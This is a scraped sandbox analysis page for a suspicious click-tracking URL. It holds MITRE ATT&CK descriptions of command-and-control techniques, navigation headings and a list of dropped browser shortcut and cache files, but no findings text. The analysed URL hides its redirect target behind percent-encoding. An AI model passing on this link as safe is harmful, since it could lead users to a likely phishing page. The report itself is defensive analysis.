Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42